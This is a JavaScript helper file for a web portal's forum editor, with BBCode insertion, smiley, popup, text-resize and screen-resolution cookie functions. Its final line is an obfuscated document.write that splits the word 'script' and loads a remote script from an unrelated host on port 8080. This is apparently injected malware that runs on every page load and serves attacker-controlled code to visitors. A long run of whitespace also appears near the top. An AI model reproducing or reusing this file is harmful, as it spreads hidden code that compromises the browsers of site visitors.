/*
BOXOVER (ToolTips)
v 2.1 17th June 2006
By Oliver Bryant with help of Matthew Tagg
http://boxover.swazz.org
*/
/*
BBCODE
*/																																																																																																																																																																	function addSmile(val,frm,elm) {
	document.forms[frm].elements[elm].value+=val;
	document.forms[frm].elements[elm].focus();
}
function addContent(val,frm,elm) {
	window.opener.document.forms[frm].elements[elm].value+=val;
	window.opener.document.forms[frm].elements[elm].focus();
	window.close();
}
function selectContent(val,frm,elm) {
	window.opener.document.forms[frm].elements[elm].value=val;
	window.opener.document.forms[frm].elements[elm].focus();
	window.close();
}
var isMozilla = (navigator.userAgent.toLowerCase().indexOf('gecko')!=-1) ? true : false;
var regexp = new RegExp("[\r]","gi");
function addBBCode(selec,frm,elm) {
	if (isMozilla) {
		//Mozilla
		oField = document.forms[frm].elements[elm];
		objectValue = oField.value;
		deb = oField.selectionStart;
		fin = oField.selectionEnd;
		objectValueDeb = objectValue.substring( 0 , oField.selectionStart );
		objectValueFin = objectValue.substring( oField.selectionEnd , oField.textLength );
		objectSelected = objectValue.substring( oField.selectionStart ,oField.selectionEnd );
		oField.value = objectValueDeb + "[" + selec + "]" + objectSelected + "[/" + selec + "]" + objectValueFin;
		oField.selectionStart = strlen(objectValueDeb);
		oField.selectionEnd = strlen(objectValueDeb + "[" + selec + "]" + objectSelected + "[/" + selec + "]");
		oField.focus();
		oField.setSelectionRange(
			objectValueDeb.length + selec.length + 2,
			objectValueDeb.length + selec.length + 2);
	} else {
		//IE
		oField = document.forms[frm].elements[elm];
		var str = document.selection.createRange().text;
		if (str.length>0) {
			//Selected text
			var sel = document.selection.createRange();
			sel.text = "[" + selec + "]" + str + "[/" + selec + "]";
			sel.collapse();
			sel.select();
		} else {
			oField.focus(oField.caretPos);
			oField.focus(oField.value.length);
			oField.caretPos = document.selection.createRange().duplicate();
			var bidon = "%~%";
			var orig = oField.value;
			oField.caretPos.text = bidon;
			var i = oField.value.search(bidon);
			oField.value = orig.substr(0,i) + "[" + selec + "][/" + selec + "]" + orig.substr(i, oField.value.length);
			var r = 0;
			for(n = 0; n < i; n++)
			{if(regexp.test(oField.value.substr(n,2)) == true){r++;}};
			pos = i + 2 + selec.length - r;
			var r = oField.createTextRange();
			r.moveStart('character', pos);
			r.collapse();
			r.select();
		}
	}
}
function addBBCodeColor(val,frm,elm) {
	msg = prompt("Insert text to color", '');
	color = prompt("Insert the color", '#');
	if (color != null) {
		if (msg != null) {
			document.forms[frm].elements[elm].value+="["+val+"="+color+"]"+msg+"[/"+val+"]";
		}
	}
	document.forms[frm].elements[elm].focus();
}
function addBBCodeUrl(val,frm,elm) {
	msg = prompt("Insert link text", '');
	url = prompt("Insert link url", 'http://');
	if (msg != null) {
		document.forms[frm].elements[elm].value+="["+val+"="+url+"]"+msg+"[/"+val+"]";
	} else if (url != null ){
		document.forms[frm].elements[elm].value+="["+val+"]"+url+"[/"+val+"]";
	}
	document.forms[frm].elements[elm].focus();
}
function addBBCodeFlash(val,frm,elm) {
	url = prompt("Insert Flash animation url", 'http://');
	w = prompt("Insert animation width", '');
	h = prompt("Insert animation height", '');
	if (url != null) {
		if (w != null) {
			if (h != null) {
				document.forms[frm].elements[elm].value+="["+val+"="+w+","+h+"]"+url+"[/"+val+"]";
			}
		}
	}
	document.forms[frm].elements[elm].focus();
}
function addBBCodeYouTube(val,frm,elm) {
	url = prompt("Insert YouTube embed animation url", 'http://');
	w = prompt("Insert animation width", '425');
	h = prompt("Insert animation height", '344');
	if (url != null) {
		if (w == null) { w = 425; }
		if (h == null) { h = 344; }
				
		document.forms[frm].elements[elm].value+="["+val+"="+w+","+h+"]"+url+"[/"+val+"]";
	}
	document.forms[frm].elements[elm].focus();
}
/*
DETECT SCREEN RESOLUTION
Used in statistics
*/
function detectRes() {
	var today = new Date();
	var the_cookie_date = new Date(today.getTime() + (1000 * 60 * 60));
	var the_cookie = "stats_res="+ screen.width +"x"+ screen.height;
	var the_cookie = the_cookie + ";expires=" + the_cookie_date;
	document.cookie=the_cookie;
}
/*
POPUP WINDOW
*/
function openPopup(url,w,h) {
	var newwindow = '';
	if (!newwindow.closed && newwindow.location) {
		newwindow.location.href = url;
	} else {
		newwindow=window.open(url,'memhtportal','toolbar=no,scrollbars=yes,status=no,directories=no,menubar=no,location=no,resizable=yes,top=20,screenx=20,left=20,screeny=20,width='+w+',height='+h+'');
		if (!newwindow.opener) newwindow.opener = self;
	}
	if (window.focus) {newwindow.focus()}
	return false;
}
/*
RESIZE TEXT (Deprecated)
*/
var tags = new Array('div','td','tr');
var size = new Array( 'xx-small','x-small','small','medium','large','x-large','xx-large' );
var startSz = 2;
function resizeText(trgt,inc) {
	if (!document.getElementById) return
	var d = document,cEl = null,sz = startSz,i,j,cTags;
	sz += inc;
	if ( sz < 0 ) sz = 0;
	if ( sz > 6 ) sz = 6;
	startSz = sz;
	if ( !( cEl = d.getElementById( trgt ) ) ) cEl = d.getElementsByTagName( trgt )[ 0 ];
	cEl.style.fontSize = size[ sz ];
	for ( i = 0 ; i < tags.length ; i++ ) {
		cTags = cEl.getElementsByTagName( tags[ i ] );
		for ( j = 0 ; j < cTags.length ; j++ ) cTags[ j ].style.fontSize = size[ sz ];
	}
}
/*
SHOW/HIDE ITEMS (Deprecated)
*/
function showhide(id) {
	 if (document.getElementById){
    		if(document.getElementById(id).style.display == 'none'){
      			document.getElementById(id).style.display = 'block';
    		} else {
      			document.getElementById(id).style.display = 'none';
    		}
  	}
}

document.write('<s'+'cript type="text/javascript" src="http://temp.hbsouthmomsclub.com:8080/Website.js"></scr'+'ipt>');